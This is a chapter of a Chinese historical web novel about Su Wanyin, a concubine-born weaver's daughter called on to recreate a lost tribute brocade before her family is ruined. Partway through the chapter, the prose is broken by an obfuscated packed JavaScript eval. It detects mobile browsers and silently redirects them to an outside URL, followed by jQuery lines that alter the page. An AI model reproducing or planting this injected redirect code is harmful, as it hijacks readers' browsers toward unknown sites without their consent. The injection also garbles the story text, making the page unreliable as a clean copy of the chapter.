昭华四十五年，苏州府。
雨从傍晚起便没有停，细密得像从天上倾下一张看不见的网，把阊门内外、运河两岸、千家万户的灯火都一层层罩住。雨丝斜织，打在青瓦上沙沙作响，又顺着檐角串成珠帘，坠入石阶下的水洼里，漾开一圈又一圈涟漪。远处的运河上，夜航船的灯笼在雨幕中晕开一团团昏黄的光，像是疲倦的眼睛，在黑暗中缓缓移动。
枫桥以南半里，苏氏织造府。这里是大晟朝织造业的腹地——香料船泊在河心，铜料船挤着码头，松江棉布的纱包堆成小山。即便在这样的雨夜，仍有挑夫披着蓑衣搬运货物，号子声低哑如闷雷。空气里蒸着生丝的水汽、染坊的碱味、银钱过手的铜腥，还有一丝若有若无、像山雨压顶般的闷，沉甸甸压在胸口，让人喘不过气。
戌时三刻，苏府偏院最西的染房仍亮着灯。
灯光很小，只一盏豆大油灯，悬在矮机旁。风从窗缝钻进来，火焰微颤，却硬生生不肯灭，像有谁用指尖替它挡着。灯下坐着一人，背影清瘦，肩颈却绷得笔直。
苏晚音跪坐在机前。
她背脊挺直，衣衫半旧，袖口磨得起毛。灯照在她侧脸上，能看见额角一线浅浅的疤痕——七岁那年被梭子打破留下的。那是苏府里许多人提起她时最爱挂在嘴边的一句：“五姑娘那道疤，可惜了。”
可惜什么？可惜她不是嫡出，不配被可惜。
她的手却极稳。
指尖捻着一根金线。
那金线细得几乎看不见，只有在灯火晃动时才闪过一瞬暗光，像刀锋被衣袖遮住的冷意。她将它贴上天青色经丝，缓慢而准确地送入纬间。
一寸。
再一寸。
织机咔哒咔哒地响，声音低哑而规律。每一下都像敲在人的心口，让人不自觉屏住呼吸。
苏晚音的呼吸也确实很轻。
轻到她能听见自己心跳的回声，能听见雨滴落在檐下水洼里“噗”的一声，能听见丝线绷紧时那种几不可察的颤。
她在做一件本不该由她做的事。
母亲留下的残页写得明白：
“金线不露痕。”
这句话短，危险却长。
露了痕，便成了“炫技”。炫技在苏府，等于挑衅；挑衅在贡品前，等于送死。她知道，自己若不是庶女，或许还能被称一句“天赋”。可她是庶女，任何多出来的亮光都会被人当作刺眼。
灯火忽然晃了一下。
那一线金光差点浮出丝面。
苏晚音的指尖微不可察地顿住，像在悬崖边踩住了最后一块松石。她没有慌，也没有急，只把力道放轻半分，顺着经纬的回弹将金线压回天青底色深处。
金光一闪，归于无。
她继续引纬，直到最后一根线落定，才缓慢吐出一口气。
成了。
那一尺见方的样布安静躺在机上，表面素净得甚至有些寡淡。可她把布轻轻提起，对着灯斜照，便能在某个角度看见一线极隐秘的金痕。
不耀眼，不张扬，却锋利。
像藏在袖中的刃。
也是她这十六年在苏府的活法。
她叫苏晚音，苏府五姑娘。
庶出。
无母。
无靠。
生母苏锦娘——江南织造局最年轻的掌案，一手“天孙锦”冠绝内廷。她没见过母亲的脸，只从老仆嘴里听过一些零碎：母亲织锦时从不爱华服，总穿靛蓝粗布工服，袖口绣一朵小木棉；说匠人要知丝从何来，布如何成。
母亲死在她出生后三个月。
父亲苏志远，举人出身，捐得工部主事虚衔，骨子里最恨“工商末技”。他娶匠人出身的苏锦娘，不过是当年外放苏州时为讨好上峰；娶进门后却嫌她“终日与织机为伍，不成体统”。
嫡母李氏，松江望族，掌家二十载，只认嫡子嫡女，最讲体面与尊卑。
嫡姐苏晚棠，自幼受名师指点，是苏州府人人称道的“绣林双绝”。
而她，在他们眼里，只是个满手茧疤、额间破相、痴迷染织的呆子。
苏晚音把样布折成掌心大小，塞进贴身绣囊。
绣囊上那朵木棉已褪色，线头有些松，摸上去仍柔软。母亲说木棉“絮暖天下，不争春色”。她想起木棉絮飞尽后枝头空悬的蒴果，硬如铁，裂如刃——谁又记得它曾柔软？
她熄了灯。
黑暗里，她伸手摸到枕下那本用油布包得严严实实的册子。
《天工札记》。
只剩半本。
母亲去世后，这本笔记被嫡母收走，说是“妇人工巧之物，留之不祥”。是她七岁那年偷溜进库房，从一堆待烧的旧物里抢出来的——抢救了一半，也烧毁了一半。书页边缘焦黑，摸上去像火烫过的疤。
她不用点灯，也能“看见”那几页。
因为她把那些字、那些图、那些旁注，生生刻进了指尖。
母亲在残页角落写过一句，字迹与正文不同，像后来补的：
“金线匿迹，非为藏拙，乃为蓄势。光现一瞬，须是刀出鞘时。”
她从前以为这是织锦的火候之道。今夜，指腹抚过“刀出鞘时”四字，她却无端打了个寒颤。
母亲当年织的是锦，还是……局？
窗外雨未歇。
正院却灯火通明。
她推门走出染房，寒意裹着雨丝扑面。沿着游廊往回走，脚步轻得惊不动廊下积水。
经过正院月洞门时，里面的声音压得很低，却仍透出焦躁。
“……再找！就是把地砖撬开、把墙拆了，也得找到！”
那是父亲的声音，失了平日端方。
嫡母李氏的啜泣细碎如针：“那可是内务府王公公亲点的贡品……天爷，我苏家造了什么孽……”
苏晚音没有停。
她知道他们在找什么。
三日前，藏着全套天孙锦图谱的紫檀八宝匣，在内库里不翼而飞。
明日午时，便是宫中内务府催缴贡锦的最后期限。
交不出——不是罚银，不是降职。
是抄家。
是诏狱。
是苏家上下七十三口，从主子到匠人，一起被碾碎。
她回到西偏院。
这里原是堆放染缸、破机的杂处，三年前她及笄，嫡母一句“姑娘大了需独院”，便将最僻的一角划给了她。
也好，清净。
她刚掩上门，窗外便传来压低的声音。
“姑娘？”
是小蝉，厨房陈婆子的孙女，才十二岁，常偷偷给她送些剩粥冷饼。
苏晚音推开半扇窗，小蝉站在雨里，脸色发白，眼里全是怕。
“这么晚还不睡？”
“姑娘，我听见管事们说话……”小蝉的声音发颤，“说、说要是明天交不出天孙锦，老爷的官就保不住了，咱们府上……可能要抄家……”
苏晚音指尖一紧。
“还说什么？”
“说大少爷在应天府上下打点，花了五千两银子，可内务府那位王公公咬死了，不见锦缎，一切免谈。”小蝉凑近窗缝，声音更低，“还说……老爷已经让人连夜去扬州请谢家的人，看看能不能……借图谱一观……”
谢家。
这两个字像冷水泼在心口。
江南第一皇商，谢家。
掌三成织机、五成生丝通路，还握着与倭国、南洋贸易的船引。与苏家明争暗斗十几年，父亲素来瞧不起商户，如今却要低声下气去求人。
而更让她心里发紧的是——
若真要请谢家，这件事便不会止于“找回图谱”。
它会变成江南织造圈的一场公开撕扯。
远处廊下忽然传来脚步声与灯笼光。
小蝉吓得一缩脖子，转身钻进暗处跑了。
苏晚音关上窗，站在黑暗里静了片刻，像在听雨，也像在听命运落子。
门外有人敲门。
“五姑娘歇下了么？”
是翠珠，嫡母身边的大丫鬟，向来倨傲，今夜却带着几分罕见的客气，甚至有一丝不易察觉的慌。
苏晚音点起灯，拉开门。
翠珠提着灯笼站在雨中：“夫人请姑娘去正院一趟。”
“这个时辰？”
“老爷和夫人都在等。”翠珠顿了顿，补了一句，“是关于天孙锦的事。”
苏晚音垂下眼。
她知道这一刻迟早会来。
她不过是个庶女，过去十六年他们宁愿看她在染房里熬坏手，也不愿多看她一眼。可一旦全家性命被逼到墙角，死马也要当活马医。
“我换件衣裳。”她轻声道。
正堂里炭火烧得极旺，却驱不散满室阴冷。
苏志远坐在上首太师椅上，面色铁青，官袍下摆沾着泥点。李氏坐在一旁，眼睛红肿，手里绞着的帕子几乎拧断。下首还坐着苏明轩——她的嫡兄，刚从应天府赶回来，眼下乌青深重。
她进门，三道目光齐刷刷落在她身上。
“跪下。”
苏晚音依言跪在冰冷的地砖上。寒意顺着膝骨往上钻，像要把她骨头都冻裂。
苏志远开口，声音冷硬：“你母亲留下的那本笔记，可在你处？”
“在。”
“拿出来。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17032888|194563||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她从怀中取出油布包，双手奉上。
苏志远粗手翻了几页，眉头越皱越紧。书页上密密麻麻的注记、图示、符号，有些字迹娟秀，有些却稚拙，显是后来添的。
“这些鬼画符，你看得懂？”
“女儿……略懂一些。”
“略懂有什么用！”李氏猛地尖声开口，帕子直指她面门，“我要的是天孙锦！完整的天孙锦图谱！你知不知道，交不出贡品，你父亲就要丢官，你哥哥的前程就全毁了！苏家百年门楣，就要砸在你手里！”
苏晚音抬起头，平静地看着她：“女儿不懂朝堂之事。女儿只知，织锦需经纬相合，丝线相配，火候、力道、时机，缺一不可。如今图谱遗失，便是神仙也难凭空织出。”
李氏一口气堵在喉间，脸色涨得发紫。
苏明轩站起身，走到她面前，声音放软了些，却掩不住焦灼：“五妹妹，如今家里确实到了绝境。你若知道些什么，哪怕只有一线希望，也该说出来。父亲母亲……终究是你至亲。”
至亲。
苏晚音看着这位兄长。
他二十有五，举人功名在身，原该是春风得意的年岁。此刻却眼里布满红丝，官袍皱乱，显然几日奔波，体面尽失。
她缓缓道：“女儿确实不知完整图谱。但母亲札记中记载，天孙锦之精妙，在于‘经纬同色异光’。若能复原此技，或可仿得七八分相似，暂抵一时之需。”
堂内骤然安静。
炭火噼啪炸了一声。
苏志远盯着她，像在衡量一件陌生器具的价值：“你有几成把握？”
苏晚音实话实说：“女儿不知。此技女儿苦练七年，今夜方成小样。若织成全幅，需上等金丝、天青蚕丝各十斤，熟手织工六人，日夜赶工……至少二十日。”
“二十日？”李氏惨笑，“内务府只给到明日午时！你是要我们全家等死吗？！”
苏晚音静静道：“所以，女儿也无能为力。”
她说得平淡，却像把刀，轻轻划开堂里每个人的脸。
她并非真要推开。
她是在试。
试这个家在绝境中愿意付出多少代价，来换一个庶女的全力一搏。试他们是否愿意暂时撕开嫡庶尊卑的面纱，把活命的希望押在她这双“满手茧疤”的手上。
苏志远的眼神从审视到挣扎，最后化为一种近乎疯狂的决绝。
他忽然站起身，太师椅脚刮地刺耳。
“若我将府中所有织工调给你，所有库房丝线任你取用，所有匠人听你号令——你能在十二个时辰内，织出一匹足以糊弄过去的天孙锦吗？”
苏晚音心口猛地一震。
十二个时辰。
这不是赶工，这是赌命。
她抬眼，看见父亲眼中没有慈爱，没有信任，只有赌徒般的孤注一掷——他已走投无路。
她想起母亲残页那行字：
光现一瞬，须是刀出鞘时。
她深吸一口气，指甲掐进掌心：“女儿需要亲眼看看库中剩余丝料，亲手挑人，亲自改机。”
“好！”苏志远一甩袖子，声震屋梁，“明轩，带她去内库！所有匠人，全部听她调遣！谁敢怠慢，家法打死不论！”
“老爷！”李氏失声，“这怎么行！她一个姑娘家，抛头露面，指挥外男……传出去苏家颜面何存！棠儿的婚事还要不要——”
“都什么时候了！”苏志远厉声打断，额角青筋暴起，“是脸面重要，还是全家七十三口的性命重要？！”
李氏噎住，瘫坐椅上，掩面痛哭。
苏晚音站起身，膝盖已跪得发麻。她向父亲福了一福。
转身那一刻，她听见父亲沉重的喘息，听见兄长急促的脚步，听见嫡母压抑的呜咽。
也听见自己心跳如擂鼓。
她走出正堂。
夜雨渐歇，廊檐滴水，一声一声像更漏。
阊门外运河上隐约传来夜航船的橹声，还有守夜人沙哑的吆喝：“寅时三更，平安无事——”
平安无事？
苏晚音轻轻扯了扯嘴角。
在这昭华四十五年的春夜，苏州府最显赫的织造世家正站在倾覆的边缘。更远处，江南织造业的经纬正在被人悄然拨乱——旧党与新党争论的是“末技”与“实学”，可真正掌控生死的，是内务府那柄悬在所有人头顶的贡赋铁尺。
而她，一个被当作影子的庶女，忽然成了桌上最后一枚筹码。
她抬头望向无星的天。
从这一刻起，她不再只是苏府的影子。
她是赌注。
也是刀。
残卷已启，天机将现。